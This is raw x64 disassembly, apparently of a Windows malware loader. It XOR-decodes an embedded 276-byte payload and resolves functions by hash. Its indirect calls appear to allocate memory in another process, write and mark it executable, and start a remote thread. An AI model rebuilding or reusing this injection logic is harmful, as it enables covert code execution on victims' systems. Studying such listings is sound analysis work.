movdqu xmm0, xmmword [rcx]
movdqa xmmword [rsp + 0x350], xmm0
lea rbx, [rsp + 0x200]
jmp 0x140003fc2
mov r8, qword [rsp + 0x88]
shr r8d, 1
lea rbx, [rsp + 0x200]
mov rcx, rbx
mov rdx, qword [rsp + 0x80]
call fcn.1400057a0
mov rax, qword [rsp + 0x200]
test rax, rax
je 0x140003fb4
lea rcx, [rsp + 0x208]
movdqu xmm0, xmmword [rcx]
movdqa xmmword [rsp + 0x350], xmm0
jmp 0x140003fc2
movdqa xmmword [rsp + 0x350], xmm6
mov eax, 1
mov rcx, qword [rsp + 0x78]
mov qword [rsp + 0x200], rbp
mov qword [rsp + 0x208], rcx
mov qword [rsp + 0x210], r13
lea rcx, [rsp + 0x220]
movdqu xmmword [rcx + 0x18], xmm6
and dword [rcx + 0x28], 0
mov qword [rsp + 0x218], rax
movdqa xmm0, xmmword [rsp + 0x350]
movdqu xmmword [rcx], xmm0
mov qword [rsp + 0x230], 8
lea rcx, [rsp + 0x1c0]
mov rdx, rbx
call fcn.140012c3f
mov rcx, qword [rsp + 0x110]
jmp 0x140003e65
mov rcx, qword [rsp + 0x6a8]
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0x210], rax
movups xmm0, xmmword [rsp + 0x1c0]
movaps xmmword [rsp + 0x200], xmm0
test rcx, rcx
je 0x140004060
call fcn.140013e9a
mov rcx, qword [rsp + 0x4d8]
mov rdx, qword [rsp + 0x4e8]
call fcn.1400123fd
mov rcx, qword [rsp + 0x4d8]
mov rdx, qword [rsp + 0x4e0]
call fcn.140012456
mov rax, qword [rsp + 0x210]
lea rcx, [rsp + 0x4d8]
mov qword [rcx + 0x10], rax
movaps xmm0, xmmword [rsp + 0x200]
movups xmmword [rcx], xmm0
mov rax, qword [rsp + 0x3e0]
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0x3e8]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x3f8]
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x410]
mov qword [rsp + 0x710], rax
mov rax, qword [rsp + 0x418]
mov qword [rsp + 0x708], rax
mov r12, qword [rsp + 0x420]
mov rcx, qword [rsp + 0x428]
mov rbx, qword [rsp + 0x438]
mov rax, qword [rsp + 0x450]
mov qword [rsp + 0x720], rax
mov rax, qword [rsp + 0x458]
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x468]
mov qword [rsp + 0x718], rax
mov rax, qword [rsp + 0x4a8]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x4b0]
mov qword [rsp + 0x1b0], rax
mov rax, qword [rsp + 0x4b8]
mov qword [rsp + 0x1a8], rax
movdqa xmm0, xmmword [r12]
pmovmskb edi, xmm0
not edi
mov rax, qword [rsp + 0x4c0]
mov qword [rsp + 0x198], rax
mov rax, qword [rsp + 0x4c8]
mov qword [rsp + 0x1a0], rax
mov rax, qword [rsp + 0x4d0]
mov qword [rsp + 0x190], rax
mov rax, qword [rsp + 0x4d8]
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x4e0]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x4e8]
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0x4f0]
mov qword [rsp + 0x730], rax
mov rax, qword [rsp + 0x4f8]
mov qword [rsp + 0x738], rax
mov rax, qword [rsp + 0x508]
mov qword [rsp + 0x748], rax
mov rax, qword [rsp + 0x510]
mov qword [rsp + 0x750], rax
mov rax, qword [rsp + 0x520]
mov qword [rsp + 0x758], rax
mov rax, qword [rsp + 0x528]
mov qword [rsp + 0x760], rax
mov rax, qword [rsp + 0x538]
mov qword [rsp + 0x740], rax
mov rax, qword [rsp + 0x540]
mov qword [rsp + 0x700], rax
mov rax, qword [rsp + 0x560]
mov qword [rsp + 0x770], rax
mov rax, qword [rsp + 0x568]
mov qword [rsp + 0x188], rax
mov rax, qword [rsp + 0x570]
mov qword [rsp + 0x768], rax
mov qword [rsp + 0x728], rcx
lea r14, [rcx + r12 + 1]
lea rbp, [r12 + 0x10]
mov ecx, 0x38
mov edx, 8
call fcn.1400011e0
mov r13, rax
mov qword [rax], r12
mov qword [rsp + 0x6e0], rbp
mov qword [rax + 8], rbp
mov qword [rsp + 0x6e8], r14
mov qword [rax + 0x10], r14
mov word [rax + 0x18], di
mov qword [rsp + 0x6f8], rbx
mov qword [rax + 0x20], rbx
lea rbx, [0x140025738]
mov qword [rax + 0x28], rbx
mov qword [rax + 0x30], 0xd
mov r14d, 0xd
mov rcx, r13
call fcn.140012504
test rax, rax
je 0x140004378
mov rdi, rax
add rax, 0xfffffffffffffeb0
je 0x140004378
mov rcx, qword [rdi - 0xd8]
mov rdx, qword [rdi - 0xc8]
mov r8, rbx
mov r9, r14
call fcn.140006789
test al, al
je 0x1400042f2
mov edi, dword [rdi - 0x90]
mov rdx, qword [rsp + 0x180]
cmp rdx, qword [rsp + 0x178]
jne 0x140004354
lea rcx, [rsp + 0x170]
call fcn.14000783c
mov rdx, qword [rsp + 0x180]
mov rax, qword [rsp + 0x170]
mov qword [rax + rdx*8], rdi
inc rdx
mov qword [rsp + 0x180], rdx
mov rbx, qword [r13 + 0x28]
mov r14, qword [r13 + 0x30]
jmp 0x1400042f2
mov edx, 8
mov rcx, r13
call fcn.140005aa0
mov r13, qword [rsp + 0x170]
mov rax, qword [rsp + 0x178]
mov qword [rsp + 0x6f0], rax
mov rbx, qword [rsp + 0x180]
mov r14, qword [rsp + 0x728]
test r14, r14
je 0x140004424
mov rcx, qword [rsp + 0x6f8]
test rcx, rcx
je 0x140004413
movdqa xmm0, xmmword [r12]
pmovmskb eax, xmm0
not eax
lea rdi, [rsp + 0x3e0]
mov word [rdi + 0x18], ax
mov qword [rdi], r12
mov rax, qword [rsp + 0x6e0]
mov qword [rdi + 8], rax
mov rax, qword [rsp + 0x6e8]
mov qword [rdi + 0x10], rax
mov qword [rdi + 0x20], rcx
mov rcx, rdi
call fcn.140012504
test rax, rax
je 0x140004413
add rax, 0xfffffffffffffeb0
mov rcx, rax
call fcn.14000d647
jmp 0x1400043f6
mov r8d, 0x158
mov rcx, r12
mov rdx, r14
call fcn.14001247e
mov rcx, qword [rsp + 0x730]
mov rdx, qword [rsp + 0x738]
call fcn.1400054f0
mov rcx, qword [rsp + 0x740]
test rcx, rcx
je 0x140004453
mov rdx, qword [rsp + 0x700]
call fcn.1400054f0
mov rcx, qword [rsp + 0x748]
mov rdx, qword [rsp + 0x750]
call fcn.1400054f0
mov rcx, qword [rsp + 0x758]
mov rdx, qword [rsp + 0x760]
call fcn.1400054f0
mov rdi, qword [rsp + 0x770]
mov rcx, rdi
mov rdx, qword [rsp + 0x768]
call fcn.1400123a7
mov rcx, rdi
mov rdx, qword [rsp + 0x188]
call fcn.14001246a
mov rdi, qword [rsp + 0xc0]
mov rcx, rdi
mov rdx, qword [rsp + 0x1a8]
call fcn.1400122ed
mov rcx, rdi
mov rdx, qword [rsp + 0x1b0]
call fcn.140012442
mov rdi, qword [rsp + 0x198]
mov rcx, rdi
mov rdx, qword [rsp + 0x190]
call fcn.14000d7a8
mov rcx, rdi
mov rdx, qword [rsp + 0x1a0]
call fcn.14000d801
mov rbp, qword [rsp + 0xb0]
test rbp, rbp
je 0x1400045eb
mov rax, qword [rsp + 0x78]
lea r14, [rax + rbp]
inc r14
movdqa xmm0, xmmword [rbp]
pmovmskb eax, xmm0
not eax
lea r12, [rbp + 0x10]
lea rdi, [rsp + 0x3e0]
mov qword [rdi], rbp
mov qword [rdi + 8], r12
mov qword [rdi + 0x10], r14
mov word [rdi + 0x18], ax
mov rax, qword [rsp + 0x80]
mov qword [rdi + 0x20], rax
mov rcx, rdi
call fcn.1400124a6
test rax, rax
je 0x14000455c
mov rcx, qword [rax - 8]
call sub.pdh.dll_PdhRemoveCounter
jmp 0x140004544
mov rcx, qword [rsp + 0x708]
test rcx, rcx
je 0x14000456f
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, qword [rsp + 0x710]
test rcx, rcx
je 0x140004581
call sub.pdh.dll_PdhCloseQuery
cmp qword [rsp + 0x78], 0
je 0x1400045eb
mov rcx, qword [rsp + 0x80]
test rcx, rcx
je 0x1400045d8
movdqa xmm0, xmmword [rbp]
pmovmskb eax, xmm0
not eax
lea rdi, [rsp + 0x3e0]
mov qword [rdi], rbp
mov qword [rdi + 8], r12
mov qword [rdi + 0x10], r14
mov word [rdi + 0x18], ax
mov qword [rdi + 0x20], rcx
mov rcx, rdi
call fcn.1400124a6
test rax, rax
je 0x1400045d8
mov rcx, qword [rax - 0x20]
mov rdx, qword [rax - 0x18]
call fcn.1400054f0
jmp 0x1400045bc
mov r8d, 0x20
mov rcx, rbp
mov rdx, qword [rsp + 0x78]
call fcn.14001247e
mov r12, qword [rsp + 0x88]
test r12, r12
je 0x14000466e
mov r8, qword [rsp + 0x718]
test r8, r8
mov r14, qword [rsp + 0x720]
je 0x14000465d
lea rax, [r12 + r14]
inc rax
movdqa xmm0, xmmword [r14]
pmovmskb ecx, xmm0
not ecx
lea rdx, [r14 + 0x10]
lea rdi, [rsp + 0x3e0]
mov qword [rdi], r14
mov qword [rdi + 8], rdx
mov qword [rdi + 0x10], rax
mov word [rdi + 0x18], cx
mov qword [rdi + 0x20], r8
mov rcx, rdi
call fcn.140011ca7
test rax, rax
je 0x14000465d
mov rcx, qword [rax - 0x88]
mov rdx, qword [rax - 0x80]
call fcn.1400054f0
jmp 0x14000463e
mov r8d, 0x88
mov rcx, r14
mov rdx, r12
call fcn.14001247e
mov rdi, qword [rsp + 0x98]
mov rcx, rdi
mov rdx, qword [rsp + 0xa8]
call fcn.1400123fd
mov rcx, rdi
mov rdx, qword [rsp + 0x90]
call fcn.140012456
test rbx, rbx
je 0x140004e43
lea rax, [rbx*8]
add rax, r13
mov qword [rsp + 0x90], rax
pxor xmm6, xmm6
lea r12, [rsp + 0x200]
movaps xmm15, xmmword [0x140025660]
movdqa xmm7, xmmword [0x140025670]
movdqa xmm8, xmmword [0x140025680]
movaps xmm9, xmmword [0x140025690]
movaps xmm10, xmmword [0x1400256a0]
movaps xmm11, xmmword [0x1400256b0]
movaps xmm12, xmmword [0x1400256c0]
mov rax, r13
lea r13, [0x140025737]
mov qword [rsp + 0x98], rax
movaps xmm13, xmmword [0x1400256d0]
movaps xmm14, xmmword [0x1400256e0]
cmp rax, qword [rsp + 0x90]
je 0x140004cbb
mov qword [rsp + 0x78], rax
mov rdx, qword [rsp + 0x150]
mov r8, qword [rsp + 0x160]
mov rcx, rsi
mov qword [rsp + 0x80], rdx
call fcn.1400069fd
cmp qword [rsp + 0x3e0], 0
jne 0x140004cb7
mov rax, qword [rsp + 0x78]
add rax, 8
mov qword [rsp + 0x88], rax
mov rdx, qword [rsp + 0x3e8]
mov r8, qword [rsp + 0x3f0]
mov qword [rsp + 0x5f0], 1
lea rax, [rsp + 0x5f8]
movdqu xmmword [rax], xmm6
mov qword [rsp + 0x20], 2
mov rcx, r12
lea r9, [0x140025b64]
call fcn.140001050
mov rcx, r12
call fcn.14000121a
test rax, rax
je 0x14000488f
mov r8, rdx
mov qword [rsp + 0x20], 1
mov rcx, rsi
mov rdx, rax
mov r9, r13
call fcn.140001050
mov rcx, rsi
call fcn.14000121a
test rax, rax
je 0x1400047ac
mov rbp, rdx
test rdx, rdx
je 0x140004cb7
mov r14, rax
movzx eax, byte [rax]
cmp eax, 0x2d
je 0x14000480e
cmp eax, 0x2b
jne 0x140004818
dec rbp
je 0x140004cb7
inc r14
jmp 0x140004818
cmp rbp, 1
je 0x140004cb7
xor edi, edi
xor ebx, ebx
cmp rbp, 3
jae 0x14000484a
cmp rbp, rdi
je 0x140004880
movzx ecx, byte [r14 + rdi]
mov edx, 0x10
call fcn.140006eb4
test eax, eax
je 0x140004cb7
shl bl, 4
add dl, bl
inc rdi
mov ebx, edx
jmp 0x140004822
cmp rbp, rdi
je 0x140004880
movzx ecx, byte [r14 + rdi]
mov edx, 0x10
call fcn.140006eb4
test eax, eax
je 0x140004cb7
cmp bl, 0xf
ja 0x140004cb7
shl bl, 4
inc rdi
add dl, bl
mov ebx, edx
jae 0x14000484a
jmp 0x140004cb7
mov rcx, r15
mov edx, ebx
call fcn.140013537
jmp 0x1400047d7
movups xmm0, xmmword [rsp + 0x5f0]
movaps xmmword [rsp + 0x3e0], xmm0
mov rax, qword [rsp + 0x600]
mov qword [rsp + 0x3f0], rax
mov rdx, qword [rsp + 0x158]
mov rcx, qword [rsp + 0x80]
call fcn.1400054f0
mov rax, qword [rsp + 0x3f0]
mov qword [rsp + 0x160], rax
movaps xmm0, xmmword [rsp + 0x3e0]
movaps xmmword [rsp + 0x150], xmm0
mov ecx, 0x114
mov edx, 1
call fcn.1400011e0
mov rdi, rax
movaps xmm0, xmmword [0x1400255e0]
movups xmmword [rax], xmm0
movaps xmm0, xmmword [0x1400255f0]
movups xmmword [rax + 0x10], xmm0
movaps xmm0, xmmword [0x140025600]
movups xmmword [rax + 0x20], xmm0
movaps xmm0, xmmword [0x140025610]
movups xmmword [rax + 0x30], xmm0
movaps xmm0, xmmword [0x140025620]
movups xmmword [rax + 0x40], xmm0
movaps xmm0, xmmword [0x140025630]
movups xmmword [rax + 0x50], xmm0
movaps xmm0, xmmword [0x140025640]
movups xmmword [rax + 0x60], xmm0
movdqa xmm0, xmmword [0x140025650]
movdqu xmmword [rax + 0x70], xmm0
movups xmmword [rax + 0x80], xmm15
movdqu xmmword [rax + 0x90], xmm7
movdqu xmmword [rax + 0xa0], xmm8
movups xmmword [rax + 0xb0], xmm9
movups xmmword [rax + 0xc0], xmm10
movups xmmword [rax + 0xd0], xmm11
movups xmmword [rax + 0xe0], xmm12
movups xmmword [rax + 0xf0], xmm13
movups xmmword [rax + 0x100], xmm14
mov dword [rax + 0x110], 0x97595589
mov rbx, qword [rsp + 0x150]
mov r14, qword [rsp + 0x160]
mov eax, 0x114
cmp r14, rax
cmovae r14, rax
mov rcx, r14
xor edx, edx
call fcn.140005504
mov qword [rsp + 0x3e0], rax
mov qword [rsp + 0x3e8], rdx
and qword [rsp + 0x3f0], 0
mov rcx, rsi
mov rdx, r14
call fcn.14000507c
mov rcx, qword [rsp + 0x3e0]
mov rax, qword [rsp + 0x3f0]
xor edx, edx
cmp r14, rdx
je 0x140004a17
mov r8b, byte [rdi + rdx]
xor r8b, byte [rbx + rdx]
inc rdx
mov byte [rcx + rax], r8b
inc rax
jmp 0x1400049fe
movups xmm0, xmmword [rsp + 0x3e0]
movaps xmmword [rsp + 0x200], xmm0
mov qword [rsp + 0x210], rax
mov rdx, qword [rsp + 0x158]
mov rcx, rbx
call fcn.1400054f0
mov r8, qword [rsp + 0x210]
mov qword [rsp + 0x160], r8
movdqa xmm0, xmmword [rsp + 0x200]
movdqa xmmword [rsp + 0x150], xmm0
mov rdx, qword [rsp + 0x150]
mov rcx, r12
call fcn.14000591c
mov rax, qword [rsp + 0x78]
mov rax, qword [rax]
mov qword [rsp + 0x6a8], rax
movdqa xmmword [rsp + 0x400], xmm6
movdqa xmmword [rsp + 0x3f0], xmm6
movdqa xmmword [rsp + 0x3e0], xmm6
mov qword [rsp + 0x5f0], rax
and qword [rsp + 0x5f8], 0
mov ecx, 0x4b82f718
call fcn.14000a8d7
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], 0x7f
mov ecx, eax
mov r8d, 4
lea r9, [rsp + 0x6a8]
call section..text
test eax, eax
js 0x140004e43
and qword [rsp + 0x1c0], 0
mov rbx, qword [rsp + 0x210]
mov qword [rsp + 0x110], rbx
mov ecx, 0xf783b8ec
call fcn.14000a8d7
mov r9, qword [rsp + 0x6a8]
lea rcx, [rsp + 0x110]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x1c0]
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x40], 4
mov dword [rsp + 0x38], 0x3000
and dword [rsp + 0x28], 0
mov ecx, eax
mov r8d, 6
call section..text
test eax, eax
js 0x140004e43
and dword [rsp + 0x170], 0
mov r14, qword [rsp + 0x200]
mov qword [rsp + 0xd0], rbx
mov ecx, 0xc3170192
call fcn.14000a8d7
mov r9, qword [rsp + 0x6a8]
mov rcx, qword [rsp + 0x1c0]
lea r8, [rsp + 0x170]
mov qword [rsp + 0x38], r8
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rcx
mov ecx, eax
mov r8d, 5
call section..text
test eax, eax
js 0x140004e43
mov ebx, eax
mov dword [rsp + 0x778], 4
mov ecx, 0x50e92888
call fcn.14000a8d7
mov r9, qword [rsp + 0x6a8]
lea rcx, [rsp + 0x778]
mov qword [rsp + 0x38], rcx
lea rcx, [rsp + 0xd0]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x1c0]
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x30], 0x40
mov ecx, eax
mov r8d, 5
call section..text
test eax, eax
js 0x140004e43
and qword [rsp + 0x350], 0
mov rbp, qword [rsp + 0x6a8]
mov ecx, 0xaf18cfb0
call fcn.14000a8d7
mov rcx, qword [rsp + 0x1c0]
movdqu xmmword [rsp + 0x60], xmm6
movdqu xmmword [rsp + 0x50], xmm6
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rbp
mov dword [rsp + 0x48], 4
and qword [rsp + 0x40], 0
and qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1fffff
mov ecx, eax
mov r8d, 0xb
lea r9, [rsp + 0x350]
call section..text
test ebx, ebx
jne 0x140004e43
mov rdx, qword [rsp + 0x208]
mov rcx, r14
call fcn.1400054f0
mov edx, 0x114
mov rcx, rdi
call fcn.1400054f0
mov rax, qword [rsp + 0x88]
jmp 0x140004719
ud2
cmp qword [rsp + 0x6f0], 0
je 0x140004cd8
mov edx, 8
mov rcx, qword [rsp + 0x98]
call fcn.140005aa0
mov rcx, qword [rsp + 0x150]
mov rdx, qword [rsp + 0x158]
call fcn.1400054f0
movaps xmm6, xmmword [rsp + 0x7b0]
movaps xmm7, xmmword [rsp + 0x7c0]
movaps xmm8, xmmword [rsp + 0x7d0]
movaps xmm9, xmmword [rsp + 0x7e0]
movaps xmm10, xmmword [rsp + 0x7f0]
movaps xmm11, xmmword [rsp + 0x800]
movaps xmm12, xmmword [rsp + 0x810]
movaps xmm13, xmmword [rsp + 0x820]
movaps xmm14, xmmword [rsp + 0x830]
movaps xmm15, xmmword [rsp + 0x840]
add rsp, 0x858
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov r13, r15
lea r12, [rsp + 0x780]
movd xmm6, dword [rsp + 0x350]
movd xmm7, dword [rsp + 0x358]
mov edi, 8
mov ecx, 8
call fcn.140005561
mov rbx, rax
movabs rax, 0x72657475706d6f43
mov qword [rbx], rax
mov r15, qword [r12 - 8]
movdqu xmm0, xmmword [r12]
movups xmm1, xmmword [r12 + 0x10]
movups xmm2, xmmword [r12 + 0x20]
movaps xmmword [rsp + 0x610], xmm2
movaps xmmword [rsp + 0x600], xmm1
movdqa xmmword [rsp + 0x5f0], xmm0
cmp r15, 3
jne 0x140004dcf
xor ebx, ebx
jmp 0x140004e34
mov r14, rdx
mov ecx, 0x60
mov edx, 8
call fcn.14000cb7a
mov rdi, rax
mov qword [rax], r15
movdqa xmm0, xmmword [rsp + 0x5f0]
movaps xmm1, xmmword [rsp + 0x600]
movaps xmm2, xmmword [rsp + 0x610]
movdqu xmmword [rax + 8], xmm0
movups xmmword [rax + 0x18], xmm1
movups xmmword [rax + 0x28], xmm2
mov dword [rax + 0x38], ebp
movd dword [rax + 0x3c], xmm7
mov qword [rax + 0x40], rbx
mov qword [rax + 0x48], r14
mov qword [rax + 0x50], 8
movd dword [rax + 0x58], xmm6
movd dword [rax + 0x5c], xmm6
mov ebx, 1
mov r15, r13
lea r13, [0x140026360]
jmp 0x140002265
call fcn.14000d223
ud2
mov ecx, 8
mov rdx, rbx
call fcn.140022636
ud2
mov ecx, 8
mov edx, 0x120
jmp 0x140004e52
mov ecx, 8
mov edx, 0xfa0
jmp 0x140004e52